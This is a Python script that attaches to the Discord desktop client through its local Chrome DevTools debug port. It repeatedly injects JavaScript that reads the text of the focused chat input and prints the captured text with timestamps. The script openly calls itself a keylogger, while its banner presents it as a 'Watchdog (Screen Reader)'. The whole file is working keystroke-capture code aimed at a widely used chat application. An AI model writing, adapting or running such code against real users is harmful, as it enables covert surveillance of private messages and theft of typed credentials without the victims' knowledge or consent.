from websocket import create_connection
import json
import urllib.request
import sys
import time

def get_debug_url():
    try:
        resp = urllib.request.urlopen("http://localhost:9222/json")
        pages = json.loads(resp.read())
        
        target = None
        print("\n[*] Available Debug Targets:")
        for p in pages:
            title = p.get("title", "No Title")
            url = p.get("url", "")
            print(f"    - {title} [{url}]")
            
            # Heuristic: The main window usually has a Discord URL or title
            # Found URL: https://discord.com/channels/@me/...
            if "discord.com" in url:
                target = p
                print(f"[DEBUG] Found Candidate: {title}")
            elif "Discord" in title and not target:
                target = p
                
        if target:
            print(f"\n[+] Selected Target: {target.get('title')} ({target.get('url')})")
            return target.get("webSocketDebuggerUrl")
            
    except Exception as e:
        print(f"[-] Error listing pages: {e}")
        return None
    return None

def main():
    print("[*] Activating Discord Watchdog (Screen Reader)...")
    ws_url = get_debug_url()
    if not ws_url:
        print("[-] Discord Debug Port not found.")
        sys.exit(1)
        
    ws = create_connection(ws_url)
    print("[+] Connected. Watching for new messages on screen...")
    
    last_msg = ""
    
    # JS to fetch the content of the currently focused input (Keylogger)
    js_payload = """
    (function() {
        let el = document.activeElement;
        if (el) {
            // Discord chat input is a div, so innerText works
            return "FOCUS: <" + el.tagName + "> CONTENT: " + (el.innerText || el.value || "Empty");
        }
        return "No Focus";
    })()
    """
    
    print("\n" + "="*50)
    print("⌨️  KEYLOGGER MODE ACTIVE (Type in Chat Box!)")
    print("="*50)

    last_val = ""
    msg_id = 0

    while True:
        try:
            msg_id += 1
            cmd = {
                "id": msg_id,
                "method": "Runtime.evaluate",
                "params": {"expression": js_payload, "returnByValue": True}
            }
            ws.send(json.dumps(cmd))
            
            resp = ws.recv()
            data = json.loads(resp)
            
            if "result" in data and "result" in data["result"]:
                val = data["result"]["result"].get("value")
                
                if val and val != "No Focus" and val != last_val:
                    if "Empty" not in val:
                        timestamp = time.strftime("%H:%M:%S")
                        print(f"[{timestamp}] KEYSTROKES: {val}")
                        last_val = val
                
                # Heartbeat
                print(".", end="", flush=True)
                # Heartbeat
                print(".", end="", flush=True)
            else:
                 # Print the Error to understand WHY it fails
                 print(f"\n[!] CDP Error: {resp}")

            
            time.sleep(0.5)
            
        except KeyboardInterrupt:
            break
        except Exception as e:
            pass

if __name__ == "__main__":
    main()
